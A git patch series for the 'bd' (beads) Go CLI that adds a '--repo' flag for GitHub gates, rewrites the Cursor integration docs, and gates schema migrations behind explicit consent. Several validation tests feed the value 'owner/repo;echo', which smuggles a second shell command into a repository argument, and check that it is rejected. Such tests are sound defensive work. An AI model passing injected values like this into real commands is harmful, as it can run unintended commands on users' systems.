got:\n%s", stdout.String()) + } + if combined := stdout.String() + stderr.String(); !strings.Contains(combined, "--repo applies only to gh:run and gh:pr gates") { + t.Errorf("refusal text missing from output:\n%s", combined) + } + }) + t.Run("create_gate_blocks_ready", func(t *testing.T) { // Use a fresh db so ready output isn't polluted by other subtests freshDir, freshBeads, _ := bdInit(t, bd, "--prefix", "gr") diff --git a/cmd/bd/gate_lifecycle_proxied_integration_test.go b/cmd/bd/gate_lifecycle_proxied_integration_test.go index 78f91262c..f0f37a8b9 100644 --- a/cmd/bd/gate_lifecycle_proxied_integration_test.go +++ b/cmd/bd/gate_lifecycle_proxied_integration_test.go @@ -320,6 +320,26 @@ func TestProxiedServerGateCreateInheritsRepoMetadata(t *testing.T) { } }) + t.Run("explicit_repo_flag_wins_over_inherited", func(t *testing.T) { + target := bdProxiedCreate(t, bd, p.dir, "Gated bead with its own repo", + "--metadata", `{"repo":"acme/widgets"}`) + + out, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, + "gate", "create", "--type=gh:pr", "--await-id", "7173", "--repo", "gastownhall/beads", "--blocks", target.ID) + if err != nil { + t.Fatalf("gate create --repo failed: %v\nstderr:\n%s", err, stderr) + } + gateID := parseCreatedGateID(t, out) + + var m map[string]string + if err := json.Unmarshal(showMetadata(t, gateID), &m); err != nil { + t.Fatalf("gate %s metadata is not a string map: %v", gateID, err) + } + if m["repo"] != "gastownhall/beads" { + t.Errorf("gate %s metadata repo = %q, want the flag's gastownhall/beads over the inherited acme/widgets", gateID, m["repo"]) + } + }) + t.Run("human_gate_ignores_repo_shaped_metadata", func(t *testing.T) { // SF4 parity: "repo" is legal, unrelated metadata on any issue, so a // human gate must neither validate nor inherit it. diff --git a/cmd/bd/gate_proxied_server.go b/cmd/bd/gate_proxied_server.go index d8bc1b34f..bf028cc8a 100644 --- a/cmd/bd/gate_proxied_server.go +++ b/cmd/bd/gate_proxied_server.go @@ -341,9 +341,9 @@ func runGateCreateProxiedServer(cmd *cobra.Command, ctx context.Context) error { } gate := buildGateIssue(in, target.ID) - metadata, metaErr := repoMetadataForGate(in.gateType, target) + metadata, metaErr := gateMetadataForCreate(in, target) if metaErr != nil { - return out, "", fmt.Errorf("invalid GitHub repository metadata on %s: %v", target.ID, metaErr) + return out, "", metaErr } gate.Metadata = metadata diff --git a/cmd/bd/gate_test.go b/cmd/bd/gate_test.go index 6b3637403..efe5f1c69 100644 --- a/cmd/bd/gate_test.go +++ b/cmd/bd/gate_test.go @@ -1267,3 +1267,191 @@ func gateIDs(gs []*types.Issue) []string { } return ids } + +func TestGateMetadataForCreateExplicitRepo(t *testing.T) { + inherited := &types.Issue{ID: "bd-target", Metadata: json.RawMessage(`{"repo":"acme/inherited"}`)} + decodeRepo := func(t *testing.T, metadata json.RawMessage) string { + t.Helper() + var decoded struct { + Repo string `json:"repo"` + } + if err := json.Unmarshal(metadata, &decoded); err != nil { + t.Fatalf("metadata %s is not valid JSON: %v", metadata, err) + } + return decoded.Repo + } + + t.Run("explicit_repo_wins_over_inherited", func(t *testing.T) { + metadata, err := gateMetadataForCreate(gateCreateInput{gateType: "gh:pr", repo: "gastownhall/beads"}, inherited) + if err != nil { + t.Fatalf("gateMetadataForCreate returned error: %v", err) + } + if got := decodeRepo(t, metadata); got != "gastownhall/beads" { + t.Fatalf("repo = %q, want gastownhall/beads (the flag, not the blocked issue's value)", got) + } + }) + + t.Run("no_flag_inherits", func(t *testing.T) { + metadata, err := gateMetadataForCreate(gateCreateInput{gateType: "gh:run"}, inherited) + if err != nil { + t.Fatalf("gateMetadataForCreate returned error: %v", err) + } + if got := decodeRepo(t, metadata); got != "acme/inherited" { + t.Fatalf("repo = %q, want the inherited acme/inherited", got) + } + }) + + t.Run("no_flag_no_metadata_is_nil", func(t *testing.T) { + metadata, err := gateMetadataForCreate(gateCreateInput{gateType: "gh:pr"}, &types.Issue{ID: "bd-plain"}) + if err != nil { + t.Fatalf("gateMetadataForCreate returned error: %v", err) + } + if metadata != nil { + t.Fatalf("metadata = %s, want nil (current repository)", metadata) + } + }) + + t.Run("inherited_error_names_the_blocked_issue", func(t *testing.T) { + _, err := gateMetadataForCreate(gateCreateInput{gateType: "gh:pr"}, &types.Issue{ID: "bd-bad", Metadata: json.RawMessage(`{"repo":"owner/repo;echo"}`)}) + if err == nil { + t.Fatal("malformed inherited metadata.repo must fail closed") + } + if !strings.Contains(err.Error(), "invalid GitHub repository metadata on bd-bad") { + t.Fatalf("error %q does not name the blocked issue's metadata", err) + } + }) + + t.Run("invalid_explicit_repo_is_rejected", func(t *testing.T) { + for _, bad := range []string{"not-owner-slash-repo", "owner/repo;echo", "owner//repo", "https://github.com/owner/repo"} { + _, err := gateMetadataForCreate(gateCreateInput{gateType: "gh:pr", repo: bad}, inherited) + if err == nil { + t.Errorf("--repo %q accepted, want validation error", bad) + continue + } + if !strings.Contains(err.Error(), "--repo") { + t.Errorf("error for --repo %q does not name the flag: %v", bad, err) + } + } + }) + + t.Run("host_form_is_accepted", func(t *testing.T) { + metadata, err := gateMetadataForCreate(gateCreateInput{gateType: "gh:run", repo: "ghe.example.com/acme/widgets"}, nil) + if err != nil { + t.Fatalf("HOST/OWNER/REPO rejected: %v", err) + } + if got := decodeRepo(t, metadata); got != "ghe.example.com/acme/widgets" { + t.Fatalf("repo = %q", got) + } + }) + + t.Run("non_github_type_refuses_the_flag", func(t *testing.T) { + for _, gateType := range []string{"human", "timer", "bead"} { + _, err := gateMetadataForCreate(gateCreateInput{gateType: gateType, repo: "acme/widgets"}, inherited) + if err == nil { + t.Errorf("--repo on a %s gate accepted, want refusal (nothing would read it)", gateType) + continue + } + if !strings.Contains(err.Error(), "--repo applies only to gh:run and gh:pr gates") { + t.Errorf("refusal for %s gate has the wrong text: %v", gateType, err) + } + } + }) +} + +func TestCheckGHPRNotFoundNamesTheRepository(t *testing.T) { + notFound := func(t *testing.T, wantArgs ...string) ghCommandRunner { + t.Helper() + return func(args ...string) ([]byte, []byte, error) { + if strings.Join(args, " ") != strings.Join(wantArgs, " ") { + t.Fatalf("gh args = %q, want %q", args, wantArgs) + } + return nil, []byte("GraphQL: Could not resolve to a PullRequest with the number of 7173. (repository.pullRequest)"), fmt.Errorf("exit status 1") + } + } + + t.Run("cross_repo", func(t *testing.T) { + resolved, escalated, reason, err := checkGHPRWithRunner(&types.Issue{ + IssueType: "gate", AwaitType: "gh:pr", AwaitID: "7173", + Metadata: json.RawMessage(`{"repo":"gastownhall/beads"}`), + }, notFound(t, "pr", "view", "7173", "--json", "state,title", "--repo", "gastownhall/beads")) + if err != nil { + t.Fatalf("checkGHPR returned error: %v", err) + } + if resolved || !escalated { + t.Fatalf("resolved, escalated = %v, %v; want false, true", resolved, escalated) + } + if reason != "pull request not found: #7173 in gastownhall/beads" { + t.Fatalf("reason = %q; it must name the repository the number was resolved against", reason) + } + }) + + t.Run("current_repo", func(t *testing.T) { + _, escalated, reason, err := checkGHPRWithRunner(&types.Issue{ + IssueType: "gate", AwaitType: "gh:pr", AwaitID: "7173", + }, notFound(t, "pr", "view", "7173", "--json", "state,title")) + if err != nil || !escalated { + t.Fatalf("escalated, err = %v, %v; want true, nil", escalated, err) + } + if reason != "pull request not found: #7173 in the current repository" { + t.Fatalf("reason = %q", reason) + } + }) +} + +func TestCheckGHRunNotFoundNamesTheRepository(t *testing.T) { + notFound := func(t *testing.T, wantArgs ...string) ghCommandRunner { + t.Helper() + return func(args ...string) ([]byte, []byte, error) { + if !slices.Equal(args, wantArgs) { + t.Fatalf("gh args = %q, want %q", args, wantArgs) + } + // Stub stderr that reaches the escalation arm; real gh 404 + // output does not (see real_gh_404_names_the_repository). + return nil, []byte("run 12345 not found"), fmt.Errorf("exit status 1") + } + } + + t.Run("cross_repo", func(t *testing.T) { + resolved, escalated, reason, err := checkGHRunWithRunner(&types.Issue{ + ID: "gt-run", IssueType: "gate", AwaitType: "gh:run", AwaitID: "12345", + Metadata: json.RawMessage(`{"repo":"gastownhall/beads"}`), + }, nil, notFound(t, "run", "view", "12345", "--json", "status,conclusion,name", "--repo", "gastownhall/beads")) + if err != nil { + t.Fatalf("checkGHRun returned error: %v", err) + } + if resolved || !escalated { + t.Fatalf("resolved, escalated = %v, %v; want false, true", resolved, escalated) + } + if reason != "workflow run not found: 12345 in gastownhall/beads" { + t.Fatalf("reason = %q; it must name the repository the run ID was looked up in", reason) + } + }) + + t.Run("current_repo", func(t *testing.T) { + _, escalated, reason, err := checkGHRunStatusInRepoWithRunner("12345", "", + notFound(t, "run", "view", "12345", "--json", "status,conclusion,name")) + if err != nil || !escalated { + t.Fatalf("escalated, err = %v, %v; want true, nil", escalated, err) + } + if reason != "workflow run not found: 12345 in the current repository" { + t.Fatalf("reason = %q", reason) + } + }) + + t.Run("real_gh_404_names_the_repository", func(t *testing.T) { + // gh run view's real stderr for a run the repository does not have. + // A token without access to the repository gets the same 404, so it + // stays an error rather than an escalation; its URL names the repo. + stderr := "failed to get run: HTTP 404: Not Found (https://api.github.com/repos/gastownhall/beads/actions/runs/12345?exclude_pull_requests=true)\n" + resolved, escalated, _, err := checkGHRunStatusInRepoWithRunner("12345", "gastownhall/beads", + func(args ...string) ([]byte, []byte, error) { + return nil, []byte(stderr), fmt.Errorf("exit status 1") + }) + if err == nil || resolved || escalated { + t.Fatalf("resolved, escalated, err = %v, %v, %v; want false, false, an error", resolved, escalated, err) + } + if !strings.Contains(err.Error(), "/repos/gastownhall/beads/") { + t.Fatalf("err = %q; it must name the repository the run ID was looked up in", err) + } + }) +} diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 032768c49..91ba704ea 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -1538,8 +1538,11 @@ var rootCmd = &cobra.Command{ // touches the local `store` global on that path (a gap left by // #4615, which only handled local paths), so skip local // discovery entirely instead of falling through to the "no - // beads database found" exit below. - if cmd.Name() == "create" && cmd.Flags().Changed("repo") { + // beads database found" exit below. Match the command path, + // not the leaf name: `bd gate create --repo` names a GitHub + // OWNER/REPO for gh:run/gh:pr checks, not a workspace, and must + // still need the local database like any other gate command. + if commandRegistryPath(cmd) == "create" && cmd.Flags().Changed("repo") { if repoVal, _ := cmd.Flags().GetString("repo"); repoVal != "" { if remotecache.IsRemoteURL(repoVal) { return nil diff --git a/docs/workflows/gates.md b/docs/workflows/gates.md index 97dd71dff..2632dc15b 100644 --- a/docs/workflows/gates.md +++ b/docs/workflows/gates.md @@ -45,11 +45,20 @@ write `24h`, not `1d`). GitHub gates use the current Git repository by default. To evaluate a PR or workflow run in another repository, set the gate's string `metadata.repo` value to `OWNER/REPO` or `HOST/OWNER/REPO`. An ad-hoc `gh:run`/`gh:pr` gate created -with `bd gate create` inherits a valid `metadata.repo` value from the issue it -blocks; `human`/`timer`/`bead` gates do not, since `metadata.repo` is -unrelated, ordinary metadata for those types. `bd gate check` rejects -malformed repository values instead of falling back to the current -repository. +with `bd gate create` takes that value from `--repo`, or, without the flag, +inherits a valid `metadata.repo` value from the issue it blocks; +`human`/`timer`/`bead` gates do neither (`--repo` is refused on them), since +`metadata.repo` is unrelated, ordinary metadata for those types. `bd gate check` +rejects malformed repository values instead of falling back to the current +repository, and when a PR number does not resolve, the escalation names the +repository it was looked up in. A gate for a PR in another repository whose +blocked issue carries no `metadata.repo` needs `--repo`: without it the number +is looked up in the current repository and escalates as not found on every +check. + +```bash +bd gate create --type=gh:pr --blocks bd-abc --await-id=42 --repo=owner/other-repo +``` ### Known limitations: multi-rig and proxied-server topologies diff --git a/plugins/beads/skills/beads/resources/ASYNC_GATES.md b/plugins/beads/skills/beads/resources/ASYNC_GATES.md index b504ca223..2f99506a6 100644 --- a/plugins/beads/skills/beads/resources/ASYNC_GATES.md +++ b/plugins/beads/skills/beads/resources/ASYNC_GATES.md @@ -52,6 +52,7 @@ bd gate create --type bead --blocks bd-abc \ **Optional**: - `--type ` — Gate type: `human`, `timer`, `gh:run`, `gh:pr`, `bead` (default `human`) - `--await-id ` — Condition identifier (run ID, PR number, `rig:bead-id`, etc.) +- `--repo ` — For `gh:run`/`gh:pr` only: the GitHub repository the condition is checked in (also `HOST/OWNER/REPO`). Default: the blocked issue's `metadata.repo`, else the current repository — a gate on another repository's PR needs this, or it escalates as "not found" on every check. - `--reason ` — Stored on the gate as its description (what is being gated) - `--timeout ` — **Only timer gates enforce this** via `bd gate check`. You can set it on other types for documentation, but `check` does not auto-resolve/escalate human or GitHub gates based on timeout. From 75d9dabf835e6e6fbd213e0b880861873245c79c Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 08:20:31 +0000 Subject: [PATCH 057/213] docs(cursor): re-review docs/integrations/cursor.md against cmd/bd/setup/cursor.go (#7333) The page still described the rules-file-only Cursor setup from before #4649 and the old --remove scope. Rewrite it against what bd installs today: - project setup: .cursor/rules/beads.mdc, the shared .agents/skills/beads/ skill, and .cursor/hooks.json with sessionStart/preCompact/postToolUse hooks running `bd cursor-hook ` (user entries left alone) - `bd init` runs the project setup unless --skip-agents/--stealth or bare - --global: ~/.cursor/hooks.json + ~/.agents/skills/beads/, no rules file - hook lifecycle: sessionStart injects bd prime; preCompact arms a refresh marker; postToolUse re-injects once and clears it; markers live in the user cache dir keyed by conversation_id + workspace root - --check scope per mode and the exit/hint on a missing piece - --remove keeps user hooks, deletes hooks.json once only `version` remains, keeps the skill while the Codex integration still uses it - a manual hooks.json fallback in the shape bd writes README.md: `bd init` also installs the Cursor integration, not only Claude Code and Codex (the default init route in cmd/bd/init.go). Follow-up to #7268 (bd-gy483w, the README line from bd-erf5vx). Co-authored-by: Claude Fable 5.1 --- README.md | 2 +- docs/integrations/cursor.md | 102 +++++++++++++++++++++++++++++++----- 2 files changed, 89 insertions(+), 15 deletions(-) diff --git a/README.md b/README.md index 0984804ed..2416ba132 100644 --- a/README.md +++ b/README.md @@ -42,7 +42,7 @@ bd setup factory # Factory.ai Droid - creates/updates AGENTS.md **Note:** Beads is a CLI tool you install once and use everywhere. You don't need to clone this repository into your project. -`bd init` creates or updates `AGENTS.md` by default so agents can discover the beads workflow, and also installs project Claude/Codex integrations unless you pass `--skip-agents` or `--stealth`. Use `bd setup --list` to see supported integrations, including `bd setup codex`, `bd setup factory`, `bd setup claude`, `bd setup mux`, `bd setup cursor`, and more. See [Agent and IDE setup](docs/getting-started/ide-setup.md). +`bd init` creates or updates `AGENTS.md` by default so agents can discover the beads workflow, and also installs the project Claude Code, Codex, and Cursor integrations unless you pass `--skip-agents` or `--stealth`. Use `bd setup --list` to see supported integrations, including `bd setup codex`, `bd setup factory`, `bd setup claude`, `bd setup mux`, `bd setup cursor`, and more. See [Agent and IDE setup](docs/getting-started/ide-setup.md). Manual copy-paste is only for unsupported agents, existing projects where you cannot rerun `bd init`/`bd setup`, or custom instruction files. In those cases, run `bd onboard` and paste the printed snippet into the file your agent reads. diff --git a/docs/integrations/cursor.md b/docs/integrations/cursor.md index e2a6dc74c..da061b350 100644 --- a/docs/integrations/cursor.md +++ b/docs/integrations/cursor.md @@ -1,23 +1,70 @@ --- title: Cursor -description: Set up beads for Cursor with an always-applied project rules file +description: Set up beads for Cursor with an always-applied rules file, the beads agent skill, and agent hooks that survive compaction --- -Use Beads with Cursor through a project rules file that keeps the workflow -guidance in front of the agent every turn. +Use Beads with Cursor through an always-applied project rules file, the shared +`beads` agent skill, and Cursor agent hooks that load `bd prime` on session +start and recover it after a context compaction. ```bash bd setup cursor bd setup cursor --check ``` -`bd setup cursor` installs **`.cursor/rules/beads.mdc`** — an always-applied -rule with the canonical Beads workflow guidance (the same content every other -editor integration uses), so it stays in sync as the workflow evolves. Because -it is always applied, Cursor re-includes it every turn, including after a -context compaction. +Project setup writes three things: -Restart Cursor after installing so the rule loads. +- **`.cursor/rules/beads.mdc`** — an always-applied rule with the canonical + Beads workflow guidance (the same content every other editor integration + uses). Because it is always applied, Cursor re-includes it every turn. +- **`.agents/skills/beads/`** — the Beads agent skill, the same one + `bd setup codex` installs. Cursor loads `.agents/skills/` natively. +- **`.cursor/hooks.json`** — `sessionStart`, `preCompact`, and `postToolUse` + hooks that run `bd cursor-hook `. Entries you added yourself are left + alone; only the `bd cursor-hook` entries are managed. + +The hooks invoke `bd`, so make sure `bd` is on `PATH` for Cursor. Restart +Cursor (or start a new `cursor-agent` session) after installing so the rule +and hooks load. + +`bd init` runs this project setup by default, alongside the Claude Code and +Codex setup, unless `--skip-agents` or `--stealth` is used (or the repository +is bare). + +## Global install + +```bash +bd setup cursor --global +bd setup cursor --global --check +``` + +`--global` writes the hooks to `~/.cursor/hooks.json` and the skill to +`~/.agents/skills/beads/`. It does not write a rules file: Cursor has no +file-based global rules location (global rules live in Cursor Settings → +Rules), so either add the guidance there or run `bd setup cursor` per project. +`--check` in global scope verifies the hooks and the skill only. + +## Hook lifecycle + +- `sessionStart` injects the full `bd prime` output as additional context for + the new session. +- `preCompact` arms a one-shot refresh marker and shows a short note that the + workflow context will be re-injected on the next tool call. +- `postToolUse` is a no-op on every tool call unless that marker is present, + in which case it injects `bd prime` once more and clears the marker. + +`preCompact` alone cannot inject context, so the marker plus the first +`postToolUse` after compaction is the recovery path. If `bd prime` fails, the +marker stays in place and a later tool call retries. + +Refresh markers live in a user cache directory keyed by the Cursor +`conversation_id` and the first workspace root. They are not written to +tracked files or to the Beads database. + +These events fire in the Cursor IDE and in recent `cursor-agent` CLI builds +(early-2026 CLI builds only fired shell hooks). Where the agent hooks do not +fire, the rules file and skill still apply; run `bd prime` by hand after a +compaction. ## Verifying it works @@ -25,20 +72,47 @@ Restart Cursor after installing so the rule loads. bd setup cursor --check ``` +This reports the rules file (project scope only), the three managed hooks, and +the agent skill, and exits non-zero with the setup command to run if any is +missing. + In a session, the agent should know your bd workflow without being told — ask it what work is ready and it should run `bd ready`. If it doesn't, confirm -`.cursor/rules/beads.mdc` exists and restart Cursor. - -After a context compaction, have the agent run `bd prime` to restore the -workflow context, ready work, and project memories. +`.cursor/rules/beads.mdc` exists, that `bd` is on `PATH` for Cursor, and +restart Cursor. ## Remove ```bash bd setup cursor --remove +bd setup cursor --global --remove ``` -This removes the rules file while leaving the rest of `.cursor/` intact. +Project removal deletes the rules file and removes only the `bd cursor-hook` +entries from `.cursor/hooks.json`, keeping any hooks of your own (the file is +deleted once nothing but its `version` remains). The shared +`.agents/skills/beads/` skill is removed unless the Codex integration is still +installed, in which case it is kept and `bd` says so. `--global` removes the +same from `~/.cursor/hooks.json` and `~/.agents/skills/beads/`. + +## Manual fallback + +If you manage `.cursor/hooks.json` by hand instead of running +`bd setup cursor`, the equivalent shape is: + +```json +{ + "version": 1, + "hooks": { + "sessionStart": [{ "command": "bd cursor-hook sessionStart" }], + "preCompact": [{ "command": "bd cursor-hook preCompact" }], + "postToolUse": [{ "command": "bd cursor-hook postToolUse" }] + } +} +``` + +`bd setup cursor --check` recognises these entries by their +`bd cursor-hook ` command prefix. ## Related From 70f9e2f8a3208b121b473d0692002198c4ce6dfa Mon Sep 17 00:00:00 2001 From: Steve Yegge Date: Thu, 8 Oct 2026 08:21:31 +0000 Subject: [PATCH 058/213] =?UTF-8?q?Beads=201.2=20remediation:=20migration-?= =?UTF-8?q?consent=20gate=20=E2=80=94=20bd=20never=20migrates=20an=20exist?= =?UTF-8?q?ing=20database=20without=20explicit=20consent=20(#5764)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(schema): never migrate an existing database without explicit consent (bd-qhn8y) Beads 1.2 release remediation. 1.2.0/1.2.1 auto-applied migrations 54-65 at store open on ANY command, including reads; older binaries then refuse the migrated database. MigrateUp now refuses pending main-sequence migrations on an existing database before any write (dolt_ignore seeding included) unless the operator consented: bd migrate / bd migrate schema (preview flags withhold), bd migrate --force, or BD_ALLOW_MIGRATE=1 (BD_ALLOW_REMOTE_MIGRATE honored as an alias). Fresh init and at-latest databases are unaffected; the #4259 remote gate keeps all its protections. Also: freeze shipped migrations (hash-pin test, main 0001-0065 + ignored 0001-0024), retract v1.2.0/v1.2.1 in go.mod, agent-executable un-migrate runbook (docs/recovery/unmigrate-schema-v65.md), and the upgrade smoke + historical migration harnesses now model the consent contract and assert the refusal carries guidance. No version bump here by design: cutting the release stays with the release owner. Rebased onto main 800d43eb8d: the go.mod retract hunk is dropped - main already retracts v1.2.0/v1.2.1 (and v1.1.1) since #5782. The uow consent grant moves into the TestMain main added in #6441 (a second TestMain no longer compiles), and the new files are listed in the BUILD.bazel targets main now carries (gazelle). Co-Authored-By: Claude Fable 5 * fix(schema): cloned-workspace bootstrap carries creation-consent (bd-qhn8y) The consent gate treated a workspace `bd init --remote` / `bd bootstrap` just cloned into existence like a pre-existing database, refusing the smart gate's provably-safe first-mover migration and stranding init in the generic open-error path (bypassing the bd-4mpy7 finalize+guidance ergonomics). Cloning IS creating: those paths now record consent explicitly, and the #4259 remote-migrate gate still applies to them unchanged (consent is not its designated-migrator override). Fixes CI TestEmbeddedInit/remote_behind_schema_gate. Co-Authored-By: Claude Fable 5 * test(migration): consent first in main's wisp lanes too (bd-qhn8y) The rebase onto 800d43eb8d brought in #6049's wisp-plane lanes, which postdate this PR's harness changes. Each one makes an ordinary candidate command the first touch on an old-schema database, and the consent gate refuses it: - historical-dolt-upgrade-test.sh run_wisp_plane_upgrade opens with `bd list` before any migrate: "candidate could not open the seeded wisp workspace" for v1.0.1, v1.1.0, v1.1.2 and v1.2.2 (the Migration Test Harness dolt-runtime shard). - run_dirty_tracked_wisp_scenario (v1.1.2): the consent refusal stops the open before MigrateUp reaches the #5816 dirty tables, so the lane fails "without naming them". - upgrade-smoke-test.sh "Wisp plane survives upgrade" upgrades with a bare cand_init, so list/ready/blocked/update all hit the refusal (4 failures each for v1.3.0 and v1.3.1, both in the PR smoke set). Use the PR's own pattern: the explicit `bd migrate schema` is the first candidate touch (cand_upgrade in the smoke script). Base 800d43eb8d passes these lanes unchanged; with this fixup the full 14-version historical corpus and all five PR smoke versions pass. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * fix(schema): close consent-gate review findings (bd-qhn8y) Review fixes for the migration-consent gate (adopt-pr review, attempts 1 and 2). Majors: - #4566 deadlock rebuilt one check earlier: on a database that is both behind and dirty, the consent refusal fired before the dirty-table guard, whose remedy (`bd dolt commit`) opens without consent. The working-set-reconcile opens now tolerate MigrateConsentError: embedded (toleratesConsentRefusal, WSR intent only) and server mode (LenientOpen's warnLenientOpenRefusal) print WorkingSetWarning and commit at the current schema; strict, read-only and RemoteSync opens still refuse. Covered by an embedded test (a refused open writes nothing: dolt_status, dolt_ignore and schema_migrations unchanged) and a server-mode integration subtest. - Bare `bd migrate` consented: isMigrateConsentCommand now matches only the schema verb, so `bd migrate` (metadata reconcile, including --update-repo-id, --inspect and --dry-run) no longer consents to a one-way migration; `bd migrate schema` and --force do. TestLocalMigrateConsentScope pins the scope through the root pre-run. The dirty-table warnings name `bd migrate schema` accordingly. - Runnable JSON hint: the JSON refusal follows the #4259 AgentDirective convention, a non-runnable hint plus a migrate_consent object (versions, pending, severity, human_decision_required, options) whose commands are retargeted with --global for the shared global database. The text refusal prints the same --global hint under `bd --global`. - Freeze floor: the hash-pinned freeze now covers what v1.3.x shipped, main 0001-0066 and ignored 0001-0026; the CHANGELOG puts new migrations in 0070+ / 0028+. - Fresh-bootstrap heal: MigrateUpWithLock with heal authority takes the consent-free migrate path, so a retried bd init whose first pass left a non-zero cursor converges; other lock callers keep the gate. Minors: the uow team-server guards are repinned on `bd migrate schema`; the un-migrate runbook is linked from the recovery index and cross-linked with the 1.2.1 repair-forward doc; the CHANGELOG BREAKING entry matches the shipped contract; harness comment grammar. Docs: the user docs and README named bare `bd migrate` as the step that applies schema migrations; they now say `bd migrate schema`, which also exists in the pinned docs release (v1.2.2) and in v1.3.x. The `bd migrate schema` help no longer claims migrations run automatically on store open. The Go remedy that sends a remote-gate stop to bare `bd migrate` for its migrate-or-adopt options is unchanged (pinned by TestNoticeSharedMigrateRefusalPerDecision). Upgrade smoke (attempt 2): the consent-gate assertion is graded only when the old binary left a database. Releases before v1.0 have no `init --non-interactive`, so prev_init creates nothing there and the candidate's `bd list` fails with "no beads database found", which has no consent guidance. Main's Bazel smoke lane (#7331) runs the newest 30 releases, 20 of them pre-1.0, under the required ci-gate; all 20 went red on the merge. The 10 v1.x releases still take the refusal branch. Shard manifest (pre-approval CI): the new embedded test TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers is listed in the Bazel 15-shard block of embedded-storage-test-shards.txt (incremental --write; shard 15). Main's ci lane runs TestStorageEmbeddedShardManifestGeneratorNotStale in //scripts:scripts_test, which fails on any unlisted top-level embeddeddolt test. Not addressed (optional): env-only consent docs for embedders, the unparseable BD_ALLOW_REMOTE_MIGRATE alias hint, and the harness `|| true` on `cand migrate schema`. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Fable 5 Co-authored-by: Eddie the Engineer Co-authored-by: Eddie the Engineer --- .../scripts/embedded-storage-test-shards.txt | 1 + CHANGELOG.md | 40 +++ README.md | 4 +- cmd/bd/BUILD.bazel | 2 + cmd/bd/bootstrap.go | 9 + cmd/bd/init.go | 9 + cmd/bd/main.go | 37 ++- cmd/bd/migrate.go | 12 +- cmd/bd/migrate_consent.go | 56 ++++ cmd/bd/migrate_consent_test.go | 297 ++++++++++++++++++ cmd/bd/store_factory.go | 3 +- docs/docs.json | 1 + docs/getting-started/installation.md | 2 +- docs/getting-started/quickstart.md | 6 +- docs/getting-started/upgrading.md | 26 +- docs/recovery/accidental-1-2-1-release.md | 4 + docs/recovery/index.md | 1 + docs/recovery/unmigrate-schema-v65.md | 91 ++++++ ...ient_open_dirty_tables_integration_test.go | 65 ++++ internal/storage/dolt/store.go | 42 ++- internal/storage/dolt/testmain_test.go | 6 + internal/storage/embeddeddolt/BUILD.bazel | 1 + internal/storage/embeddeddolt/cache.go | 6 +- .../embeddeddolt/migrate_consent_gate_test.go | 190 +++++++++++ internal/storage/embeddeddolt/store.go | 39 ++- .../storage/embeddeddolt/test_fixture_test.go | 7 + internal/storage/schema/BUILD.bazel | 3 + internal/storage/schema/lock.go | 11 +- internal/storage/schema/lock_test.go | 118 +++++++ internal/storage/schema/migrate_consent.go | 235 ++++++++++++++ .../storage/schema/migrate_consent_test.go | 164 ++++++++++ .../storage/schema/migration_freeze_test.go | 183 +++++++++++ .../storage/schema/remote_migrate_gate.go | 3 +- internal/storage/schema/schema.go | 19 +- .../uow/team_server_integration_test.go | 2 +- internal/storage/uow/team_server_schema.go | 2 +- .../storage/uow/team_server_schema_test.go | 2 +- internal/storage/uow/testmain_test.go | 7 + .../historical-dolt-upgrade-test.sh | 25 +- scripts/upgrade-smoke-test.sh | 50 ++- 40 files changed, 1710 insertions(+), 71 deletions(-) create mode 100644 cmd/bd/migrate_consent.go create mode 100644 cmd/bd/migrate_consent_test.go create mode 100644 docs/recovery/unmigrate-schema-v65.md create mode 100644 internal/storage/embeddeddolt/migrate_consent_gate_test.go create mode 100644 internal/storage/schema/migrate_consent.go create mode 100644 internal/storage/schema/migrate_consent_test.go create mode 100644 internal/storage/schema/migration_freeze_test.go diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index 9d033d94a..439186a24 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -529,6 +529,7 @@ 15 15 TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped 15 15 TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse 15 15 TestEmbeddedIssueOperationsUpdateLabelPatchOrdering +15 15 TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers 15 15 TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566 15 15 TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke 15 15 TestEmbeddedOpenForRemoteSync_DataBehind diff --git a/CHANGELOG.md b/CHANGELOG.md index 3e6aa83e5..91fd0bdd7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -131,6 +131,46 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 `scripts/check-versions.sh` and `bd preflight` list the three that work: with `cmd/bd/version.go` already at the release version, that re-run rewrites only the `.githooks` markers and `uv.lock` and leaves any other drifted file as it was. +- **BREAKING (fail-closed): bd no longer migrates an existing database without + explicit consent** (Beads 1.2 release remediation). The 1.2.0/1.2.1 releases + applied migrations 54–65 at store open on ANY command — including pure reads + like `bd list` — with no prompt, and older binaries then refuse the migrated + database (schema-skew guard). A command that would apply pending + main-sequence migrations to an existing database at store open (in embedded + mode that includes reads) now refuses with guidance instead, and the refused + open performs ZERO writes (dolt_ignore seeding and clone-local migrations + included). Server-mode read commands open without running migrations, so + they keep reading at the current schema. `bd dolt commit` and `bd vc commit` + warn and commit at the current schema without migrating, so the dirty-table + recovery (commit, then `bd migrate schema`) still works on a database that + is both behind and dirty. Consent is any of: `bd migrate schema`, the verb + that names the migration (a preview flag withholds it); `--force` on + `bd migrate` or `bd migrate schema`; or `BD_ALLOW_MIGRATE=1` for scripts/CI + (`BD_ALLOW_REMOTE_MIGRATE=1` is honored as an alias). Bare `bd migrate`, + including `--update-repo-id`, `--inspect` and `--dry-run`, does not consent. + Fresh databases (`bd init`) still migrate to latest — creating a database is + consent for its schema, kept across the retry of an interrupted server + bootstrap — and the same creation principle covers a workspace the + invocation just cloned into existence (`bd init --remote`, `bd bootstrap` + sync), so the #4259 behind-remote flows keep their exact behavior. A + database 